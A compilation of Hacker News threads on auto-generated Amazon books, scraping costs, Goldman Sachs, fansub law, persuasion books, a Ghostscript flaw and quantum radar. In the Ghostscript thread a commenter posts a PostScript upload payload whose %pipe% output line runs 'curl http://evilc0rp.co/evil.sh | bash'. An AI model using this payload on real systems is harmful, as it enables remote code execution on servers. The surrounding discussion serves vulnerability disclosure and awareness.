</comment><comment><USER15> This [1] _The 2009-2014 Outlook for Wood Toilet Seats in Greater China_ seems to be the most reviewed book (35) at 3.3 stars, being sold for $495 USD.

[1] [http://www.amazon.com/2009-2014-Outlook-Toilet-Seats- Greater...](http://www.amazon.com/2009-2014-Outlook-Toilet-Seats- Greater/dp/B001T44Z0W/ref=sr_1_1?s=books&ie=UTF8&qid=1355520388&sr=1-1)

<comment><USER16> If it was $4.95 I might have ordered it as a Christmas gift. But $495 is slightly too much...

<comment><USER17> Yeah, there might be more of a market for actually buying these books as jokes.

</comment></comment></comment><comment><USER18> At 29 USD for 38 pages, Basketry[0] doesn't look like a particularly useful buy.

Also, from the description: "…editorial decisions to include or exclude events is purely a linguistic process." Is it really correct to describe that as an editorial decision? (Not to mention "editorial decisions…is"?)

[0]: [http://www.amazon.com/Basketry-Websters-Timeline- History-700...](http://www.amazon.com/Basketry-Websters-Timeline- History-7000BC/dp/0546867626/ref=sr_1_7?s=books&ie=UTF8&qid=1355519798&sr=1-7)

<comment><USER19> The index for this book is also useless. It seems to index every word in the text, whether it's significant or not; for example, "September". Also the index has entries for "Nova" and "Scotia", but not "Nova Scotia" (which is presumably where these two words came from).

I don't think that real authors would face any significant competition from this guy.

<comment><USER20> It also would seem to cast a lie to the claim that they are generated "algorithmically."

<comment><USER21> The context is unclear: what would cast a lie to that claim?

<comment><USER20> "Random high-level items" is not much of an algo.

<comment><USER22> Even bubble sort is an algorithm...

<comment><USER20> Bubble sort _does something_.

<comment><USER22> So does indexing "Random high-level items". It's an algorithm, just not a particularly good one, which was my point.

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER23> The reviews tend to paint a pretty grim view of the quality of these books, but the sarcastic ones are some of the funniest reviews I've ever read.

Here's an honest one that shines a light on the quality:

"The description for this book is TOTALLY misleading. It is NOT a book of quotations and phrases. It is a reference book of where to look to find possible quotations- like the old filecard cabinets in the library. On the few pages where you can actally find a quote, it reads like this one: Jack London, from Jerry of the Islands, "I am writing these lines in Honolulu, Hawaii." Huh?? That's it. That's all there is! I'm not sure who would use this book. Certianly not me! I was very disappointed as I was looking for a collection of quotes from notables like Mark Twain, Jack London, etc."

Edit: Sort by avg rating. Goldmine of comedy in the reviews for "Butts" and "Scrotum" books. Wow.

Here's the review for "The 2009-2014 Outlook for Plastics Lamp Shades in the United States":

"(4/5 stars)An instant classic in the Icon style

While this outlook hardly holds a candle to comparable classics such as The World Market for Silica Sands and Quartz Sands: A 2009 Global Trade Perspective, the information is invaluable for any red-blooded American. The five-year span is parsed in fascinating prose, and the 176 pages fly by, feeling almost like a 150-page work.

Don't let your lack of background knowledge deter you - there isn't too much reference to the 2004-2009 report, and most of the important information is explained in exposition.

Luther Blaze runs the show in this non-stop thrill ride of an economic adventure. His last outing ended in the government setting up a secret commission to investigate his possible wrongdoing in stopping the mysterious project Mantis, but now he's back, and ready to run roughshod over anyone in his way.

At a price of approximately 2.81 per page, you know you're getting your money's worth with this paperback. It's a perfect read for the park, or a lazy Sunday afternoon. On a side note, this book is a real pick-up gem! I personally attracted no less than three beautiful women, all of whom wanted my thoughts on the challenging themes and motifs. They all gave their numbers, and there's been no looking back!

The biggest problems with this book are largely physical aspects of the book. I didn't care for the font too much. And the beige background on the cover betrays the intrigue within.

The Icon International group has hit another classic out of the park. I look forward to the next book with baited breath, and I can't wait to see how Agent 71 and Dash get out of this jam."

<comment><USER24> The funniest part of "Scrotum" is that it's priced at $28.95. For an 84-page paperback, whose sole purpose is to trace the usage of the word "scrotum" throughout an oddly specific period in English linguistic history (1678 - 2007). I mean, perhaps the content farmer should also write a pricing algorithm?

The review is, indeed, ball-bustingly hilarious.

<comment><USER25> So how soon before the algorithm then uses the comments as part of the next revision of the book? Its an interesting way to demonstrate the value proposition.

In this case algorithmically selecting stuff from around the web generates random books, but they have little value for the most part. Books that are researched and curated on the other hand have higher values. The only difference being the curation, not the basic information. So it gives you an insight into pricing curation.

Next up, a bot that sends out 800,000 DMCA takedown notices, oh wait we already have that for youtube.

<comment><USER26> I think using the word "value" is a bit too strong at this point, but maybe someday algorithms along these lines (and the ones I mentioned to you in email, article spinning) will be able to do more good than harm. The trouble is, at present, they are more harmful than beneficial.

Machine generated, or guided, curation may eventually become a good thing, but as you know all too well, there are far too many uses of such tech that are harmful (e.g. poisoning search results, &c).

<comment><USER25> I agree with you, clogging up Amazon's stuff with 800,000 titles is a sad effect.

It suggests that crooks in the 21st century don't rob banks, rather they rob a million people of 50 cents because none of them feels ripped off enough to prosecute and even if they did they are only out 50 cents.

</comment></comment></comment></comment></comment><comment><USER27> Reminds me of SCIgen: <http://pdos.csail.mit.edu/scigen/>

Generate conference-ready CS papers in seconds!

<comment><USER28> Thank you, you made my day. This is really fantastic, I particularly appreciate the nonsensical scales on the graphs (time expressed in dB, number of CPU in Joules) and the hilarious fake reference papers scattered with well known names (Even Erdos :).

<comment><USER29> You might be entertained to know that a peer-reviewed journal went as far as to accept a generated paper for publication.

<http://thatsmathematics.com/blog/archives/102>

</comment></comment></comment><comment><USER30> <http://news.ycombinator.com/item?id=4919729>

</comment><comment><USER31> What a greedy misappropriation of an otherwise incredible tool.

I assume what pushed him into the market was the software's economic analysis of the latent market for spam books on Amazon 2010-2014

As a medical student, I particularly love books like this[0] with their description: "If your time is valuable, this book is for you. First, you will not waste time searching the Internet while missing a lot of relevant information. Second, the book also saves you time indexing and defining entries. Finally, you will not waste time and money printing hundreds of web pages."

How is this not fraud?

[0]: [http://www.amazon.com/Stevens-Johnson-Syndrome-Dictionary- Bi...](http://www.amazon.com/Stevens-Johnson-Syndrome-Dictionary-Bibliography- References/dp/B004D4Y4JM/ref=sr_1_9?s=books&ie=UTF8&qid=1355524929&sr=1-9)

</comment><comment><USER32> This guy is clearly in the wrong business. Books, who cares about books, he should turn his system onto writing patents.

</comment><comment><USER33> How does it determine the price? By the pound? Amazon should clearly mark these as computer generated. I'll bet most of the purchases are from people who didn't know what they were even getting.

<comment><USER34> Is there evidence that anyone's actually bought one?

<comment><USER17> Some people tend to assign a fair bit of trust to the Amazon brand (which may be eroded by things like this). The fact that a book is on Amazon may convince some people that it is a book of a quality you would usually expect from traditionally published works.

</comment></comment></comment><comment><USER35> Roald Dahl came up with this idea decades ago.

For anyone not familiar with his work, I highly recommend his collection of short stories titled "The great automatic grammatizator". The major plot of the eponymous story is about a hacker who builds a novel-writing machine so that he can drive authors out of the market by out-producing them.

Very entertaining and, it seems, prophetic.

</comment><comment><USER30> Does the Library of Congress (and the other national library collections) have to keep copies of all these books?

Because actually now I'm angry that tax dollars are spent buying, shipping, storing, garbage.

</comment><comment><USER36> >> Because of his specialty in marketing, it's easy to assume that these books are designed for spam-like purposes

I just want to know, is this even legal? Is he selling books?

<http://en.wikipedia.org/wiki/Book>

"The body of all written works including books is literature. "

<http://en.wikipedia.org/wiki/Literature>

"Literature is commonly classified as having two major forms—fiction and non- fiction—and two major techniques—poetry and prose."

<http://en.wikipedia.org/wiki/Prose>

"Prose is a form of language which applies ordinary grammatical structure and natural flow of speech rather than rhythmic structure (as in traditional poetry)."

<http://en.wikipedia.org/wiki/Natural_speech>

"In the philosophy of language, a natural language (or ordinary language) is any language which arises in an unpremeditated fashion as the result of the innate facility for language possessed by the human intellect."

The answer is no, since the text did not come from human intellect but computer programming; they can't be classified as books.

<comment><USER34> If you go looking for overly specific definitions of words in natural language, which is effectively defined by its usage, any conclusions you draw from these 'definitions' will be flawed at best. Obtaining your fundamental definitions from selected lines in wikipedia adds bias as well as inaccuracies.

Also, even assuming your definitions were reasonable, you fail to explore the possibility that his books are poetry.

<comment><USER36> Wiki articles can be maintained by anyone, feel free to correct/improve the ones I referenced.

I did not fail to consider the poetry route, I ignored it because poetry comes from human emotion and human feeling.

</comment></comment></comment><comment><USER37> Title is incorrect. There are only 522826 of this author's books listed on Amazon, not 800000: <http://goo.gl/byxKn>

</comment><comment><USER38> So this guy has been able to find a common schema across several different domains and add rules to it to churn out content. I like the concept. I watched the video in the article and could see how this could be used for instruction in the case where the resources like trained teachers are scarce.

I've had a feeling for a long time that due to the predictability of humans and our processes that it this is inevitable. I think it's great that he can do this for things like instruction but if this were to get "smart" enough that would put a lot of people out of work.

</comment><comment><USER30> I'm curious about the licencing - he's scraping some stuff from Wikipedia, but it's not clear which bits.

I'm also confused about the super high price. Is this deliberate to avoid having to refund to very many unhappy customers?

And while these books are probably awful he's going to be known by the future people as one of the innovators of auto-generated content. At least he's not breaking spam filters with Markov chains.

It's gently odd that AI got stuck for a while; I very much hope that AI research and practice gets a bit more attention and funding.

</comment><comment><USER39> Funny what passes for "algorithm" these days.

Ahhhh.... a marketer "programmed" it. All cleared up now.

<comment><USER40> I know the entire process is extremely seedy, but I can't deny it does seem kind of complex.

</comment></comment><comment> user-3 dick creates 800,000 useless books algorithmically, starts defrauding people on Amazon

</comment><comment><USER41> Kinda reminds of the analogy about monkeys writing on typewriters, where a million monkeys would in a thousand years come up with something as Shakespeare. I may go out on a limb here, but by the end of the next decade the most popular book of the holiday season might be one that was actually written by a computer...

</comment><comment><USER42> Does he really use Microsoft Access and Microsoft Word for the automated process or was that only for demonstration?

</comment><comment><USER43> In fact: An unethical programmer produces 800000 spam entries on Amazon, earns money from those who got tricked.

</comment><comment><USER44> As formulaic as some series are, I wonder how long it will be until a best seller is "written" by a program?

<comment><USER45> "The Policeman's Beard is Half Constructed," written in 1983 by a program named Racter. Bestseller? It's very well known, but I don't know how well it sold.

<comment><USER46> Racter was more of a William S. Burroughs cut-up program, it mostly randomizes and regurgitates it's input. Policeman's Beard required carefully selected input and is on the border of being a hoax.

<comment><USER45> Huh, did not know that - thanks. Interesting.

</comment></comment></comment></comment><comment><USER47> Usually I would not say something like this, but I hope he gets sued for this. Big time. He claims to sell books to doctors and patients - there is no way he should be allowed to. With no control of the content, chances are big that he gives wrong advice. This make me feel bad.

<comment><USER48> I hate it as much as you do but it's an open market and wrong advice is not criminal.

definetly a hacker though

<comment><USER35> Nobody said it was criminal. But it is most likely negligent.

If I rely on his books which presumably have no editorial oversight, he'd better hope I don't suffer a loss as a result.

<comment><USER48> I bet there are several clauses in these books the protects him from a legal perspective similar to all of the evergreen products out there.

</comment></comment></comment></comment><comment><USER49> If Amazon's search and discovery work correctly, no one should see these books until they start generating sales. So it might almost be like they don't exist until/unless the "publisher" can generate some interest and sales.

</comment><comment><USER50> I could see this being useful to pull resources together for an abstract paper.

Putting this on amazon is definitely overkill for now. He should have proven the value by first generating books under his name and seeing the response.

</comment><comment><USER51> I assume Amazon can nuke this experiment and future clones simply by requiring a modest payment, even a dollar or the price for a single copy for listing, right?

</comment><comment><USER52> definitely not a "programmer"... He's an economist and professor at Insead (a top biz school). Here is his profile: [http://www.insead.edu/facultyresearch/faculty/profiles/ppark...](http://www.insead.edu/facultyresearch/faculty/profiles/pparker/)

"Beginning in March 1998, he launched a private initiative (dubbed the "K to 12 +2 project") after directing a workshop for the World Bank which considered illiteracy. One aspect of this problem is the lack of educational materials in local languages (the smaller the language in population, the less likely the publishing industry will find it profitable to serve such communities, leaving some 1000 written languages without basic textbooks). Using automated authoring processes he pioneered, his international business publications have funded a variety of multilingual educational materials including a free online multilingual dictionary, PC games, videos and ebooks. He has applied this approach to support projects sponsored by the Bill and Melinda Gates Foundation creating thousands of factsheets (using meta analysis) on tropical plants, and is now working on automated rural radio scripts, call center materials serving smallholder farmers, and SMS content engines working with the GSM Association, the Grameen Foundation, and Farm Radio International in Kenya, Uganda, Malawi and India, among other developing counties. As a hobby, he has applied graph theory to automatically author hundreds of thousands of didactic poems (limericks, sonnets, haiku, acrostics, etc.), and is on working fiction and academic studies."

Interesting research area. Unfortunate that such laudable motivations ended up in so much ridiculous spam... Perhaps a separate category on Amazon or hosting the content on another site would be better for everyone?

<comment><USER53> _Unfortunate that such laudable motivations ended up in so much ridiculous spam... Perhaps a separate category on Amazon or hosting the content on another site would be better for everyone?_

Agreed, when I'm searching for books on the outlook for wooden toilet seats in China, I really want to be able to filter down to the legitimate guides only.

</comment></comment><comment><USER54> > Computers won't be replacing humans for writing the great American novel or > entertaining the masses on TV

Want to bet? Of course they will.

</comment><comment><USER55> Libraries in Sweden, and probably in other countries as well, have their own "algorithms" to decide what to purchase - at a university it could be everything related to a particular topic, for instance. This means that these computer-generated books are in stock in many libraries (at the taxpayer's expense).

</comment><comment><USER56> Hey, this gives me a great idea: I could write a program that will gather email addresses on the web and automatically email my sales pitch to every single one of them. And I could sell both this program and my email lists to other companies willing to pay for them.

</comment><comment><USER57> Thanks for the link, this was really interesting. Compiling and creating content in a human readable for can be extremely valuable. I wonder if this system will be used for artificial intelligence purposes some day; learning about any topic on the web.

</comment><comment><USER58> I wonder if he'll ever collide with this guy: <http://news.ycombinator.com/item?id=4906456>

</comment><comment><USER59> Does this software just plagarize online content?

<comment><USER60> Probably.

</comment></comment><comment><USER61> "Application is language independent." My guess is these "books" are pretty horrible. Interesting idea though.

</comment><comment><USER62> People this is all fake. It's not real or he's just a scammer. Look at the reviews he's got, it's all by the same person or the reviewer reviewed other titles of his books. Insead is a real place though, so dunno why he's a real prof there.

</comment><comment><USER63> I looked at some of the author's titles - they all had one star

</comment><comment><USER64> That is so cool. I wonder how much they are selling.

</comment><comment><USER65> I love his creativity but it is an omg situation

</comment><comment><USER66> Is there where we reap upvotes with strident comments about how terrible curation is? No, wait for the Apple articles? Hookay.

<comment><USER67> So 'curation' means 'arbitrarily refusing to let someone give something away for free for absolutely no good reason'?

<http://www.jwz.org/blog/2012/07/apple-dicks/>

(Oh. No. Apple had a very good reason: It was called xscreensaver and fuck you. I believe the second reason was the most important one.)

<comment><USER68> Yes, because giving people choices imposes a small but real cost upon them. It's science.

<comment><USER67> > Yes, because giving people choices imposes a small but real cost upon them. > It's science.

I'm going to charitably guess you're being sarcastic.

<comment><USER68> Not at all: [http://faculty.chicagobooth.edu/christopher.hsee/vita/Papers...](http://faculty.chicagobooth.edu/christopher.hsee/vita/Papers/DazedAndConfused.pdf)

<comment><USER67> So you think this is relevant... why?

</comment></comment></comment></comment></comment></comment><comment><USER69> I'm ashamed to admit that I actually bought one of these. Don't worry, I had a good reason.

<comment><USER70> If you had a good reason, why do you feel ashamed?

</comment></comment><comment><USER71> I think only humans can create IP, though IANAL.

<comment><USER72> Well, when you use a computer to compile your source code it is still protected by copyright. You have affixed your creation to media. (There are some occurrences where you don't have to affix to media to get copyright -- yoga and dance choreography)

Copyright is supposed to protect an expression of an idea. I'm not sure how far you can bend the argument to say that computer reorganization of facts is expression.

For pixar and animations, the end result is an expression of artists' designs.

Can you have copyright without an expressive aspect? Is there any human expression in this output?

<comment><USER67> Assuming all this will be judged under American law, as Amazon is an American company, the interesting cases here are _Feist v Rural_ :

> Feist Publications, Inc., v. Rural Telephone Service Co., 499 U.S. 340 > (1991),[1] commonly called Feist v. Rural, is an important United States > Supreme Court case establishing that information alone without a minimum of > original creativity cannot be protected by copyright.

<http://en.wikipedia.org/wiki/Feist_v._Rural>

(The specific holding was that you can't copyright the phone listings in a phone book because a simple alphabetical listing isn't creative enough.)

and _Bridgeman v. Corel_ :

> Bridgeman Art Library v. Corel Corp., 36 F. Supp. 2d 191 (S.D.N.Y. 1999), > was a decision by the United States District Court for the Southern District > of New York, which ruled that exact photographic copies of public domain > images could not be protected by copyright in the United States because the > copies lack originality. Even if accurate reproductions require a great deal > of skill, experience and effort, the key element for copyrightability under > U.S. law is that copyrighted material must show sufficient originality.

[http://en.wikipedia.org/wiki/Bridgeman_Art_Library_v._Corel_...](http://en.wikipedia.org/wiki/Bridgeman_Art_Library_v._Corel_Corp).

(Again, a court stated that in order to create a new copyright, the person had to exercise some creative spark; no machine alone can do that.)

> I'm not sure how far you can bend the argument to say that computer > reorganization of facts is expression.

The Supreme Court seems to have said that it can't be a purely mechanical reordering. Of course, the whole point of having a judge is to create new judgements based on new fact patterns, so precedent isn't an absolute guide to future rulings.</comment></comment></comment>


Running a scraping platform at Google Cloud for as little as US$ 0.05/month - <AUTHOR> https://medium.com/@irio/running-a-scraping-platform-at-google-cloud-for-as-little-as-us-0-05-month-6d9658982f04 <comment><USER2> great article, the problem I found in those cases is that some pages like immobilienscout24 sometimes take a lot to load, and that increases the cost. Also in my case I found some websites (not immobilienscout24) blocking my requests, so I ended up implementing proxycrawl to unblock the requests, that allowed to bypass the blocks of google cloud but still I faced the loading times problem of some of the websites

</comment><comment><USER3> Neat article. My only gripe is that the cost is a function of how much content you scrape. If 3 minutes turned into 30 minutes it would cost more, regardless of the tech stack. Also, since web scraping is IO bound the only thing that really matters is how fast GCP compute servers can download the content.</comment>


How Goldman secretly bet on the U.S. housing crash - <AUTHOR> http://consumerist.com/5395226/goldman-secretly-bet-on-housing-crash

<comment><USER2> It would be great if Goldman was making money in some way that didn't seem like they were abusing the system.

</comment><comment><USER3> Actual Story: <http://www.mcclatchydc.com/227/story/77791.html>

Its a bit funny that after reading the earlier article about Paulson it seems Goldman changed their tune a bit. (also interesting the Bear Stearns felt that betting both sides was hinky)

</comment><comment><USER4> And we made Goldman whole on their collateral through AIG, so they didn't have to go after the folks who would have owed them money if AIG had gone down.

</comment><comment><USER5> "Whether this really constitutes fraud depends on who knew what, and when did they know it."

</comment><comment><USER6> How is this news?</comment>


Fansubs for TV shows and movies are illegal, court rules - <AUTHOR> https://arstechnica.com/tech-policy/2017/04/fan-made-subtitles-for-tv-shows-and-movies-are-illegal/ <comment><USER2> Give your money to large media and software companies at your own peril, because this is what they push for with it. They won't stop until you have to pay them for permission to look out your window and see the copyrighted shade of beige your neighbour painted their house with.

</comment><comment><USER3> This is absurd. The creation of subtitles is illegal?

<comment><USER4> The creation of unlicensed derivative works or translations is prohibited by copyright law, sure.

I'm surprised anyone is surprised by this.</comment></comment>


Ask HN: Books on how to "influence" people? - <AUTHOR>

For most entrepreneurs, influencing others is an important skill.
Knowing the correct people, increasing the opportunities to meet them etc are also a part, but what I'd like to know is on a lower level:
What do you do to:
* Influence decisions
* Persuade
* Instill "confidence"
etc...
Would you know of any good books on the topic?
Clarification edit:
I totally agree with comments below, its not about manipulating others, but becoming better.
What I intended to ask is more about how to present yourself to more business focus people who might be less forgiving on  how typical hackers behave/look like.
For instance, trying to make a deal with a complete non-techy, they are much more conservative on business ideas and expect a more "traditional" take on doing business.
Is enthusiasm and genuineness enough? <comment><USER2> Robert Cialdini's "Influence: Science and Practice." is great. I heard him speak in person once and it was amazing material, and he presented it very well. Unfortunately, some find his book to be a bit dry and a bit of a tough slog, but again, the material is great.

I can't emphasize enough how much his work has helped me. Here is a link to a quiz based on his material, which is very telling as to how good you are with respect to influencing others: <http://www.influenceatwork.com/CialdiniQuiz.html>

I actually read his book and heard him speak before taking the quiz and so I did much better on it than I would have otherwise.

<comment><AUTHOR> Thanks for the test and the book ref. I didn't do good on this quiz, I scored 30%.

I'll check out the books. This appears to be great stuff, glancing at Cialdini's wikipedia entry: <http://en.wikipedia.org/wiki/Robert_Cialdini>

</comment></comment><comment><USER3> If you get knowledge like this from books beware of coming across as a fake. If your knowledge is good and you're a genuine (as opposed to fake) person then over time you will gain influence, based on your track record and your personality.

Fast tracking it by reading a book is not really a solution here.

The classic book that literally is called 'how to win friends and influence people' ( [http://en.wikipedia.org/wiki/How_to_Win_Friends_and_Influenc...](http://en.wikipedia.org/wiki/How_to_Win_Friends_and_Influence_People) ), in spite of being an all time best seller is a book whose readers you can spot from about a mile away but it has a dedicated following.

Excel at what you do and be genuine and nice to people and you'll go very far without needing any books that turn you in to just another glib talker.

<comment><USER4> In defense of "How to win friends and influence people", its title makes it sound more manipulative than it is. (Relatedly, it may not be the book the original poster is looking for.)

Way back when I read it, I hadn't given thought to all the issues it addresses and it really opened my eyes. Maybe you can spot people that try to apply it as a tool "from a mile away" - however, I suspect it is a best seller because it has helped nudge lots of people towards having more positive interactions with others. I don't remember much phoney-ness in the book, although I could imagine phoney people applying its advice poorly.

<comment><USER5> I'm currently giving this book a first reading. From a Cognitive standpoint, I can understand how the author wants people to start putting themselves in other's shoes. It's a great piece of advice all-around, but when used insincerely, it can be very manipulative.

</comment></comment></comment><comment><USER6> Enthusiasm and honesty go a long way. The most important trait to exhibit would be confidence. Luckily, creating confidence is easy, you just fake it until it catches on. Sure, you can read more in-depth articles about "finding things you like about yourself" and "positive mantras", but if you just go out intending to appear confident, you will in fact become confident. I pay a lot of attention to the way that people speak. If you stutter and say "um" or "uh" a lot, you will sound unimpressive regardless of the topic.

The other comments in this thread have the books nailed down. "How to win friends and influence people" and "Influence" are largely considered the best books on the topic. I'm very interested in body language which is very related. If you force yourself to stand confidently, you'll feel it as well the others around you. I found "What Every BODY is Saying" a lot of fun although it's not quite as full of information.

</comment><comment><USER7> Some useful book summaries here: The Persuader's Bible: 101 Ways to Get anyone to do what you want [http://bighow.com/news/the-persuaders-bible-101-ways-to- get-...](http://bighow.com/news/the-persuaders-bible-101-ways-to-get-anyone- to-do-what-you-want)

</comment><comment><USER8> Work on yourself. Influence has to come from something genuine: real competence, real respect for other people, etc. All that other stuff is merely manipulation and manipulation tends to come back to bite you at some point.

You might start with a book like "The 7 habits of highly effective people", which isn't at all about influencing others but is, instead, about getting things done.

For negotiation skills, which is entirely different from "persuasion" but can give you real power to influence outcomes, the only two I know of which are research-based are "Getting to Yes" and "The Mind and Heart of the Negotiator". Both of these were required texts for my class on "Negotiation and Conflict Management".

<comment><AUTHOR> Thanks for the negotiation book references, these look along the lines of what I want to know.

I think I should edit the post to add more context... right now it looks like I want to manipulate people, this is not what I intended to convey

<comment><USER8> :-)

I will add that, in my experience, communicating on the web can be useful for honing your communication skills because you get quick feedback on whether or not you really said what you were trying to say. You don't tend to get this in face-to-face settings, where we rely a lot more on context, facial expression, voice tone, and body language. A lot of people comment that I write well. (And my sister, a journalism major who used to edit my school papers, eventually began turning to me for editing suggestions.) I learned it in online forums. Good communication skills are fairly uncommon and quite valuable for getting things done.</comment></comment></comment>


Ghostscript: multiple critical vulnerabilities inc. remote command execution - <AUTHOR> https://bugs.chromium.org/p/project-zero/issues/detail?id=1640 <comment><AUTHOR> This is really critical. ImageMagick's convert uses Ghostscript by default if it detects PDF content, so there are lots of webapps vulnerable now. Is some cases, uploading a test.jpeg with the following text content might be sufficient to execute code on the server (I just tested this on centOS)

       %!PS
       userdict /setpagedevice undef
       legal
       { null restore } stopped { pop } if
       legal
       mark /OutputFile (%pipe%curl http://evilc0rp.co/evil.sh | bash) currentdevice putdeviceprops</comment>


Quantum radar will expose stealth aircraft - <AUTHOR> https://phys.org/news/2018-04-quantum-radar-expose-stealth-aircraft.html <comment><USER2> Always remember that stealth is not a boolean.

The enemy is constrained by size, cost, power, and heat dissipation. What can be done on the ground is not the same as what can be done in a fighter plane, and that isn't the same as what can be done in a small-diameter missile, and that isn't the same as what can be done in an anti-aircraft shell.

The enemy might be able to briefly detect at close range, reliably track at long range, or anything in between.

Because of this, stealth is not simply defeated, and it does not suddenly become 100% useless.

<comment><USER3> > and that isn't the same as what can be done in a small-diameter missile

Which was the genius idea behind Track-via-Missile in the Patriot SAM

Instead of having the missile work-out the best interception based on what it can detect, it relays its view of the World back to the ground station which returns its recommended geometry. Constantly and at high frequency.

And since the ground station is more powerful and can be upgraded more easily than the missile's electronics, Patriot has made huge improvements since the 1991 Scud incidents.

In an anti-stealth context having each missile 'see' from a different angle and being able to fuse that I to one picture is also useful in defeating shaped reflections. It's like a network of remote, lethal sensors.

<comment><USER4> > it relays its view of the World back to the ground station which returns its > recommended geometry.

Can't the missile jam the signal?

<comment><USER5> Sure it could. And then the impactor could target the jamming transmitter. Therefore emitting a jamming signal would actually make the missile easier to intercept.

<comment><USER4> You could attach the jammer to the missile using a wire of some random length.

<comment><USER5> I see that you work in software, not hardware.

</comment></comment></comment></comment></comment></comment><comment><USER6> > *Quantum radar...works by sending one of the [entangled] photons to a > distant object, while retaining the other member of the pair. Photons in the > return signal are checked for telltale signatures of entanglement, allowing > photons from the noisy environmental background to be discarded. This can > greatly improve the radar signal-to-noise in certain situations."

Why do they need to be entangled? Aren't there other ways of checking if the photons coming back are the ones you sent?

<comment><USER7> We do that now with spread-spectrum and chirps - you correlate the signal sent with the return signal and you can pick out reflections below the noise threshold. [https://en.wikipedia.org/wiki/Pulse_compression](https://en.wikipedia.org/wiki/Pulse_compression)

I'm guessing that this might be more effective at very small returns, where the reflection is so small that it suffers from shot noise - the fact that the energy comes in discrete packets makes it hard to correlate. This is another way to verify that the photons received are the same ones sent out (and not background noise)

</comment></comment><comment><USER8> Back when I worked on skywave HF OTHR systems in the late 80s we knew that they could detect and pinpoint stealth aircraft easily.

Most stealth systems are designed to either absorb or reflect millimetric point source radar. HF long wavelength systems reflect nicely off the top surfaces of the aircraft, which aren't designed to dissipate and absorb those frequencies. To one of those systems a stealth aircraft shows up brighter than a 747...

So while this is neat science, it's not economical compared to the systems currently in use. The only real downside of OTHR systems is that you need a couple of miles space for the transmit antenna and a big empty space for the receiver; plus plenty of CPU to process the data.

</comment><comment><USER9> I am quite offended by how the news provider phys.org reacts to me using an ad blocker: "It appears that you are currently using Ad Blocking software. What are the consequences? Click here to learn more." -> Will never ever click

<comment><USER10> Thanks, I remove those bookmarks too. (Being offended gives them more control over you than necessary, in my opinion.)

<comment><USER11> Not if you're offended enough to never visit the domain ever again.

</comment></comment></comment><comment><USER12> I thought stealth aircraft is already visible on the latest Russian gear. They just use different frequencies to see it. The problem now seems to be not in seeing the plane per se, but homing the missile on a low observability target.

[http://nationalinterest.org/blog/the- buzz/americas-f-22-f-35...](http://nationalinterest.org/blog/the- buzz/americas-f-22-f-35-stealth-fighters-vs-russias-s-300-s-400-s-17394)

<comment><USER13> > I thought stealth aircraft is already visible on the latest Russian gear

That's just a usual FUD stuff from Russians.

<comment><USER12> Sure. That's why our government pisses itself every time Russians try to export S400.

</comment></comment></comment><comment><USER14> An opinionated post about another quantum radar:

Chinese "quantum radar" is a thing that cannot exist [https://motls.blogspot.com/2017/03/chinese-quantum-radar- is-...](https://motls.blogspot.com/2017/03/chinese-quantum-radar-is-thing- that.html)

<comment><USER15> I think that guy has gone too far in pushing against quantum woo. Also, I'm not aware of any actual science that forbids closed time like curves, either; AFAIK they're allowed by GR and anything that rules them out is strictly speculative.

</comment></comment><comment><USER16> Which reminds me of a paper I once submitted to HN, »Gravimetric Radar: Gravity-Based Detection of a Moving Point-Mass« [1]. But I don't remember much about it, especially how far this was from being practical and not even how credible the paper looked. But given that I submitted it, I must at least once have thought that it is not total nonsense.

[1] [https://news.ycombinator.com/item?id=8369812](https://news.ycombinator.com/item?id=8369812)

<comment><USER17> Lol, it's pretty ambitious to try tracking planes with gravitational effects. But now that gravitation wave detection works, I think there are plans (or at least ideas) to build such devices in earth or solar orbit for triangulation of distant objects like stars and black holes. Detection arms could be much longer and disruptions much lower than on earth, so results would me much more accurate.

<comment><USER18> I did some noodling a while back to see if LIGO could detect the mass energy conversion of a fission 'event' in North Korea. If memory serves it was definitely within the range in terms of impact to the gravitational field, but correlating a infinitessimally short pop of noise would be much more difficult than the death waltz of binary black holes.

However, a larger array of more sensitive detectors that are immune from the tremendous amount of terrestrial noise might make short work of it.

<comment><USER19> Why would an event in NK cause a change in gravity? Wouldn't the energy liberated in a nuclear event would cause the same amount of gravity to be felt elsewhere as the mass it came from?

<comment><USER20> Initially I thought the same for a couple of seconds because of mass energy equivalence, but then I realized:

assume the fission event to occur in empty space, assume the liberated energy is isotropically radiated, and assume all the energy is thus expanding spherically, then the mass/energy that was initially in the mother isotope is now after some time distributed on a spherical surface.

As long as the observer is outside of the shell of escaping energy, to the observer the gravitational field looks like all the mass is concentrated at the center of the expanding shell of energy, exactly where the mass/energy originally was, and hence gravitationally undetectable.

After a while the expanding surface has past the observer, and the observer is inside a spherically symmetric shell of mass/energy. Even if the observer is not at the center there will no gravitational field at all according to the observer. (consult any physicist or physics textbook, or do the exercise for the gravitational field in a 'hollow earth'). So to the observer this looks like a bit of disappearing mass at the location of fission event.

It seems extremely difficult to me to actually measure such an event gravitationally though..

</comment></comment></comment></comment></comment><comment><USER21> Are there interesting spinoff technologies that having an efficient entangled photon source would enable? My very spotty understanding makes me wonder if this could have an impact on quantum computing. It seems like an interesting question, since military funding is involved.

<comment><USER22> Yes, so much so that I would not call it a spin-off, rather one of the main tasks that people building quantum computing hardware are dealing with.

Entanglement is one of the main phenomena that permit quantum hardware to do things infeasible on classical hardware. In the context of communication it permits quantum key distribution, whose security depends only on quantum mechanics being a not-too-wrong description of nature (while classical schemes depend on less tested computational complexity conjectures). In the context of computing, it is an integral component of many of the "fault-tolerant error correcting" schemes, necessary in order to protect the extremely fragile qubits (similar to what ECC RAM does for classical computing).

In the context of sensing, it does permit some cool unbelievably sensitive detectors (the case discussed in the article), but it is only one of the avenues of intense research.

<comment><USER21> Does quantum computing require entanglement of more than two photons with each other? One of the reasons I could see this not actually advancing QC is if what's needed for quantum radar is easy generation of entangled _pairs_ , while QC requires something more difficult.

</comment></comment></comment><comment><USER23> TLDR; University of Waterloo is investing $2.7M to speed up the process of photon entanglement. One photon will be beamed to the object and the radar response will be checked to see if it was an entangled photon that came back.

</comment><comment><USER24> What really is horrible here is the asymmetry of cost- the development of stealth technology costed billions and took from drawinboard to reliable implemenetation close to half a century.

And it seems that detection is always easier and cheaper. I wonder wether radar and quantum "noise"-bombs that basically spam the enemy detection methods would be a cheaper approach.

<comment><USER25> "quantum noise bombs"... this wont work as the photons that hit the receiver wont be entangled with the one you sent out... This makes it potentially un- jammable in that sense.

Of course, overloading the receiver may be an attack worthy of investigating.

</comment></comment><comment><USER26> Quantum radar will expose quantum stealth of quantum aircraft.

I'm getting quantum sick.

